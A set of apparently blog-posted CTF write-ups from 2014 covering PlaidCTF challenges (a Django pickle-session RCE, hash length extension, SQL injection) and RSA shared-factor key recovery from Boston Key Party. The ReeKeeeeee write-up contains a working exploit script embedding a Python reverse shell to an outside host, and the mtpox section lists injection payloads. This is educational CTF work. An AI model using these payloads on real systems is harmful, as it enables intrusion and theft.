PlaidCTF 2014: Conclusion

The 2014 edition of PlaidCTF was excellent, but I wish we’d been able to make it through more challenges. We cleared about 7 challenges, but really only two of them felt worth writing up. The others have been well documented elsewhere, no sense in rewriting the same thing.

I liked how the challenges often required a series of exploits/techniques, this is much like what happens in the real world. I do wish I had spent more time on binary exploitation, attempting to get a solution to __nightmares_\_ burned a lot of time.

Plaid’s website post-mortem is also a good read, interesting to see the things involved in running a CTF.

My Write-Ups

Other Quality Writeups From Around the Web


PlaidCTF 2014: ReeKeeeee

ReeKeeeeee was, by far, the most visually painful challenge in the CTF, with a flashing rainbow background on every page. Blocking scripts was clearly a win here. Like many of the challenges this year, it turned out to require multiple exploitation steps.

ReeKeeeeee was a meme-generating service that allowed you to provide a URL to an image and text to overlay on the image. Source code was provided, and it was worth noting that it’s a Django app using the django.contrib.sessions.serializers.PickleSerializer serializer. As the documentation for the serializer notes, If the SECRET_KEY is not kept secret and you are using the PickleSerializer, this can lead to arbitrary remote code execution. So, maybe, can we get the SECRET_KEY?

Getting SECRET_KEY

Here’s the core of the meme-creation view in views.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
try:
  if "http://" in url:
    image = urllib2.urlopen(url)
  else:
    image = urllib2.urlopen("http://"+url)
except:
  return HttpResponse("Error: couldn't get to that URL"+BACK)
if int(image.headers["Content-Length"]) > 1024*1024:
  return HttpResponse("File too large")
fn = get_next_file(username)
print fn
open(fn,"w").write(image.read())
add_text(fn,imghdr.what(fn),text)

Looking at how images are loaded, they are sourced via urllib2.urlopen, then saved to a file, then PIL is used to add text to the image. If the file is not a valid image type, an exception will be thrown during this phase. However, the original file downloaded remains on disk. This means we can use the download to source any file and get a copy of it, even though it will be served with the bizarre mimetype image/None.

At first, it appears that only http:// urls are permitted, so we considered that we might be able to source some URL from localhost that might provide us with the application configuration, but we couldn’t find any such URL. I tried building a webserver that sends a redirect to a file:// url, but the Python developers are wise to that. Then I noticed that it says "http://" in url, which means that it only needs to contain http://, but doesn’t have to start with that protocol. So, I began playing around with options to try to use a file:// url, but containing http://. My first thought was as a username, with something like file://http://@/etc/passwd or file://http://@localhost/etc/passwd, but neither of those worked. I also tried a query-string like path, with file:///etc/passwd?http://, but that’s also just considered part of the filename. Finally, my teammate Taylor noticed that this construct seems to work: file:///etc/passwd#http://.

Now we needed to find the SECRET_KEY. Even though we dumped /etc/passwd, and could see users and home directories, we couldn’t find settings.py. It took a few minutes to realize that we could find the directory we were running from by /proc/self/cwd, and based on the provided source, the file was probably at mymeme/settings.py. Trying file:///proc/self/cwd/mymeme/settings.py#http:// for the image URL finally gave us a usable copy of settings.py.

SECRET_KEY to flag

Given the SECRET_KEY, we can now construct our own session tokens. Since we’re using the pickle session module, we can produce sessions that give us code execution via pickling. Objects can implement a custom __reduce_\_ method that defines how they are to be pickled, and they will be unpickled by calling the relevant “constructor function.” For a general primer on exploiting Python pickling, see Nelson Elhage’s blog post.

I decide the easiest way to exploit code execution is to use a reverse shell on the box, which can be launched via subprocess.popen. Since we know python is on the system, but can’t be sure of any other tools, I decide to use a python reverse shell. Here’s the script I wrote to construct a new session cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!python
import os
import subprocess
import pickle
from django.core import signing
from django.contrib.sessions.serializers import PickleSerializer

os.environ.setdefault("DJANGO_SETTINGS_MODULE", "mymeme.settings")

class Exploit(object):
  def __reduce__(self):
    return (subprocess.Popen, (
      ("""python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("xxx.myvps.xxx",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &"""),
      0, # Bufsize
      None, # exec
      None, #stdin
      None, #stdout
      None, #stderr
      None, #preexec
      False, #close_fds
      True, # shell
      ))

#pickle.loads(pickle.dumps(Exploit()))

print signing.dumps(Exploit(),
    salt='django.contrib.sessions.backends.signed_cookies',
    serializer=PickleSerializer,
    compress=True)

Running this gives us our new cookie value. Before I load a page with the cookie, I start a netcat listener with nc -l -p 1234 for the shell to connect to. When I load the page, I see my listener get a connection, and I have a remote shell. Moving up a directory, I find an executable named something like run_this_for_flag.exe and I run it to get the flag.

Conclusion

Took an information disclosure + remote code execution via pickle, but just goes to show you how easy it is to escalate a bad use of urlopen to a remote shell. In fact, had it said url.startswith('http://') instead of 'http://' in url, everything would’ve stopped there. Small vulnerabilities can lead to big problems.


PlaidCTF 2014: mtpox

150 Point Web Challenge

The Plague has traveled back in time to create a cryptocurrency before Satoshi does in an attempt to quickly gain the resources required for his empire. As you step out of your time machine, you learn his exchange has stopped trades, due to some sort of bug. However, if you could break into the database and show a different story of where the coins went, we might be able to stop The Plague.

Looking at the webapp, we discover two pages of content, and a link to an admin page, but visiting the admin page gives an “Access Denied.” Looking at our cookies, we get one auth with value b%3A0%3B, which, urldecoded is b:0;. Since we know this is a PHP app, we can easily recognize this as a serialized false boolean. The other cookie, hsh has the value ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3. This value is unchanged regardless of IP, visit time, etc, so it’s a pretty safe assumption it’s not salted in any way. GIven the length, we can assume it’s SHA-256. The about page tells us there’s an 8 character “salt”, but it really seems to be just a static key.

A few quick tries shows that simply modifying the auth or clearing the hsh cookies aren’t enough to get access, so I consider a hash length extension attack. Unfortunately, appending data to a serialized PHP value is quite useless, the unserialize function stops at the end of the first value, so b:0;b:1; does no good. (Same with padding in between.) We need a way to get our true value at the beginning. I guessed that maybe they’re reversing the auth value before doing the hashing. Update: There was, in fact, an arbitrary file read as well, that would allow me to see for certain that it was reversed before hashing.

So, how to execute the length extension attack? I have written a python tool for MD5 before, but this is SHA-256, so I could update that, but one of my coworkers has an awesome tool to do it for a wide variety of hash types, data formats, etc. I drop the reversed strings into hash_extender and look for my output:

1
2
3
4
5
% ./hash_extender -d ';0:b' -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -a ';1:b' -f sha256 -l 8 --out-data-format=html
Type: sha256
Secret length: 8
New signature: 967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1
New string: %3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%60%3b1%3ab

Of course, this string is now backwards, so we need to reverse it, but we need to reverse the decoded version of it. Trivial python one-liner incoming!

1
2
% python -c "import urllib; print urllib.quote(urllib.unquote('%3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%60%3b1%3ab')[::-1])"
b%3A1%3B%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B

Great, so I’ll plug that in as the auth cookie, and 967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1 for hsh, and we’re done, right? Well, it works, but no flag.

We get a box to query for PlaidCoin values, but putting things in redirects to a non-existent page. So, removing the action so it redirects to the same page works, but finds nothing obvious, until I insert a quote, revealing the SQL Injection flaw.

Let’s use MySQL’s information_schema virtual database to do some information gathering. We can find out what tables exist with a query like: 1=1 UNION SELECT group_concat(table_name) from information_schema.tables WHERE table_schema=database(). This returns “Wallet 1=1 UNION SELECT group_concat(table_name) from information_schema.tables WHERE table_schema=database() contains plaidcoin_wallets coins.” So, we know there’s only one table, plaidcoin_wallets. Time to find out what columns exist. 1=1 UNION SELECT group_concat(column_name) from information_schema.columns WHERE table_schema=database(). This reveals 2 columns: id and amount.

Let’s find out what ID contains. 1=1 UNION SELECT group_concat(id) from plaidcoin_wallets shows just one wallet, with the name pctf{phpPhPphpPPPphpcoin}. Turn in the flag, and we’re up 150 points!

Big thanks to Ron at skullsecurity.org for the great write-up and tool for hash length extension attacks. Update: Apparently Ron has written this one up as well, see here for his writeup.


Weekly Reading List for 4/4/14

It’s been a while where I’ve been too busy even for any good reading, but we’re back to the reading lists!

Return-Oriented Programming (ROP)

Code Arcana has an excellent introduction to ROP exploitation techniques. In addition to providing an introduction to the concept, it takes it through detailed implementation and debugging. I look forward to getting an opportunity to try it during the next CTF with a ROP challenge. (I’m guess PlaidCTF will offer such a chance.)

Ropasaurus Rex

Speaking of ROP and PlaidCTF, here’s a great write-up for last year’s Ropasaurus Rex challenge during PlaidCTF from the ISIS Lab blog at NYU Poly. If your prefer video, Skullspace Labs provides with a tutorial. The next PlaidCTF is just around the corner!


Boston Key Party: Mind Your Ps and Qs

About a week old, but I thought I’d put together a writeup for mind your Ps and Qs because I thought it was an interesting challenge.

You are provided 24 RSA public keys and 24 messages, and the messages are encrypted using RSA-OAEP using the private components to the keys. The flag is spread around the 24 messages.

So, we begin with an analysis of the problem. If they’re using RSA-OAEP, then we’re not going to attack the ciphertext directly. While RSA-OAEP might be vulnerable to timing attacks, we’re not on a network service, and there are no known ciphertext-only attacks on RSA-OAEP. So how are the keys themselves? Looking at them, we have a ~1024 bit modulus:

1
2
3
>>> key = RSA.importKey(open('challenge/0.key').read())
>>> key.size()
1023

So, unless you happen to work for a TLA, you’re not going to be breaking these keys by brute force or GNFS factorization. However, we all know that weak keys exist. How do these weak keys come to be? Well, in 2012, some researchers discovered that a number of badly generated keys could be factored. Heninger, et al discovered that many poorly generated keys share common factors, allowing them to be trivially factored! Find the greatest common divisor and you have one factor (p or q). Then you can simply divide the public moduli by this common divisor and get the other, and you can trivially get the private modulus.

So far we don’t know that this will work for our keys, so we need to verify this is the attack that will get us what we want, so we do a quick trial of this.

1
2
3
4
5
6
>>> import gmpy
>>> from Crypto.PublicKey import RSA                                                                                                         
>>> key_1 = RSA.importKey(open('challenge/1.key').read())
>>> key_2 = RSA.importKey(open('challenge/2.key').read())
>>> gmpy.gcd(key_1.n, key_2.n)
mpz(12732728005864651519253536862444092759071167962208880514710253407845933510471541780199864430464454180807445687852028207676794708951924386544110368856915691L)

Great! Looks like we can factor at least this pair of keys. Let’s scale up and automate getting the keys and then getting the plaintext. We’ll try to go over all possible keypairs, in case they don’t have one single common factor.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!python
import gmpy
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA

E=65537

def get_key_n(filename):
  pubkey = RSA.importKey(open(filename).read())
  assert pubkey.e == E
  return gmpy.mpz(pubkey.n)

def load_keys():
  keys = []
  for i in xrange(24):
    keys.append(get_key_n('challenge/%d.key' % i))
  return keys

def factor_keys(keys):
  factors = [None]*len(keys)
  for i, k1 in enumerate(keys):
    for k, k2 in enumerate(keys):
      if factors[i] and factors[k]:
        # Both factored
        continue
      common = gmpy.gcd(k1, k2)
      if common > 1:
        factors[i] = (common, k1/common)
        factors[k] = (common, k2/common)

  for f in factors:
    if not f:
      raise ValueError('At least 1 key was not factored!')

  return factors

def form_priv_keys(pubkeys, factors):
  privkeys = []
  for n, (p, q) in zip(pubkeys, factors):
    assert p*q == n
    phi = (p-1) * (q-1)
    d = gmpy.invert(E, phi)
    key = RSA.construct((long(n), long(E), long(d), long(p), long(q)))
    privkeys.append(key)

  return privkeys

def decrypt_file(filename, key):
  cipher = PKCS1_OAEP.new(key)
  return cipher.decrypt(open(filename).read())

def decrypt_files(keys):
  text = []
  for i, k in enumerate(keys):
    text.append(decrypt_file('challenge/%d.enc' % i, k))
  return ''.join(text)

if __name__ == '__main__':
  pubkeys = load_keys()
  factors = factor_keys(pubkeys)
  privkeys = form_priv_keys(pubkeys, factors)
  print decrypt_files(privkeys)

Let’s run it and see if we can succeed in getting the flag.

1
2
$ python factorkeys.py 
FLAG{ITS_NADIA_BUSINESS}

Win! Nadia, of course, is a reference to Nadia Heninger, 1st author on the Factorable Key paper.